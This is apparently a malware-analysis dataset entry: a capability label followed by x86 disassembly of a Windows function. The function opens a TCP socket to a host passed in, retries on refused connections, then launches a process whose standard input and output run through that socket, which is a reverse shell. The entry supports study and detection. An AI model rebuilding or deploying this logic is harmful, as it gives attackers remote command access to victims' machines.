Function at 0x40109d
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
push ebx
push edi
mov edx, 0xc5
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x4010a5
mov edx, dword [esp + 0x324]
lea ecx, [esp]
call fcn.00402000
mov edx, dword [esp + 0x32c]
lea ecx, [esp + 4]
call fcn.00402000
mov ebx, dword [0x404404]
and ebx, ebx
jne 0x4010eb
call fcn.004014b8
mov ebx, eax
and ebx, ebx
jne 0x4010eb
jmp 0x4013f8
lea eax, [esp + 0x10]
push eax
push 0x202
call fcn.004016dd
mov ebx, eax
and ebx, ebx
jne 0x4013f6
push 0
push 0
push 0
push 6
push 1
push 2
call fcn.004016a3
mov dword [esp + 0x1a0], eax
mov ebx, dword [esp + 0x1a0]
cmp ebx, 0xffffffff
je 0x4013f6
push 8
push dword [esp + 4]
call fcn.00402050
mov dword [esp + 0x310], eax
mov ebx, dword [esp + 0x310]
inc ebx
push ebx
call fcn.00402130
mov dword [esp + 8], eax
cmp dword [esp + 8], 0
je 0x401195
push 8
push 0xffffffff
push dword [esp + 8]
push dword [esp + 0x14]
call fcn.00402160
mov ebx, eax
cmp ebx, dword [esp + 0x310]
jne 0x401195
mov eax, 1
jmp 0x401197
xor eax, eax
and eax, eax
je 0x4013f6
push dword [esp + 8]
call fcn.00401620
mov dword [esp + 0xc], eax
mov ebx, dword [esp + 0xc]
mov ecx, ebx
sar ecx, 0x1f
push ecx
push ebx
pop ebx
pop edi
cmp ebx, 0xffffffff
jne 0x4011c7
cmp edi, 0
jne 0x4011c7
xor eax, eax
jmp 0x4011cc
mov eax, 1
or eax, eax
je 0x4011df
mov ebx, dword [esp + 0xc]
and ebx, ebx
je 0x4011df
mov eax, 1
jmp 0x4011e1
xor eax, eax
and eax, eax
je 0x4013ed
lea ebp, [esp + 0x1a4]
mov word [ebp], 2
push dword [esp + 0x328]
call fcn.004015fa
push eax
lea ebp, [esp + 0x1a8]
pop eax
mov word [ebp + 2], ax
mov eax, dword [esp + 0xc]
mov dword [ebp + 4], eax
push 0
push 0
push 0
push 0
push 0x10
lea eax, [esp + 0x1b8]
push eax
push dword [esp + 0x1b8]
call fcn.00401646
mov dword [esp + 0x308], eax
mov ebx, dword [esp + 0x308]
cmp ebx, 0xffffffff
jne 0x401309
call fcn.00401684
mov dword [esp + 0x30c], eax
push 0
push 0xc
call fcn.00402378
push 0x40400e
call dword [0x404094]
push 0
push 7
call fcn.00402378
mov ebx, dword [esp + 0x30c]
cmp ebx, 0x274d
je 0x4012be
mov ebx, dword [esp + 0x30c]
cmp ebx, 0x2743
je 0x4012be
mov ebx, dword [esp + 0x30c]
cmp ebx, 0x274c
je 0x4012be
jmp 0x4012c5
mov eax, 1
jmp 0x4012c7
xor eax, eax
and eax, eax
je 0x401309
push 0x1f4
call sub.KERNEL32.dll_Sleep
push 0
push 0
push 0
push 0
push 0x10
lea eax, [esp + 0x1b8]
push eax
push dword [esp + 0x1b8]
call fcn.00401646
mov dword [esp + 0x308], eax
mov ebx, dword [esp + 0x308]
and ebx, ebx
jne 0x4013ed
push 0
push 0xa
call fcn.00402378
push 0x40406b
call dword [0x404094]
push 0
push 7
call fcn.00402378
push 0x44
lea eax, [esp + 0x1b8]
push eax
call fcn.004028b6
lea ebp, [esp + 0x1b4]
mov dword [ebp], 0x44
mov dword [ebp + 0x2c], 0x101
mov eax, dword [esp + 0x1a0]
mov dword [ebp + 0x38], eax
mov eax, dword [esp + 0x1a0]
mov dword [ebp + 0x3c], eax
mov eax, dword [esp + 0x1a0]
mov dword [ebp + 0x40], eax
mov edx, dword [esp + 4]
push dword [0x40442c]
call fcn.004024b0
mov edx, 0x40401b
call fcn.004024b0
lea eax, [esp + 0x20c]
push 0x100
call fcn.00402510
lea eax, [esp + 0x1f8]
push eax
lea eax, [esp + 0x1b8]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
mov eax, dword [esp + 0x24]
push eax
push 0
call sub.KERNEL32.dll_CreateProcessA
push dword [esp + 8]
call fcn.00402260
xor eax, eax
push dword [esp]
call fcn.00402570
push dword [esp + 4]
call fcn.00402570
add esp, 0x314
pop edi
pop ebx
pop ebp
ret 0xc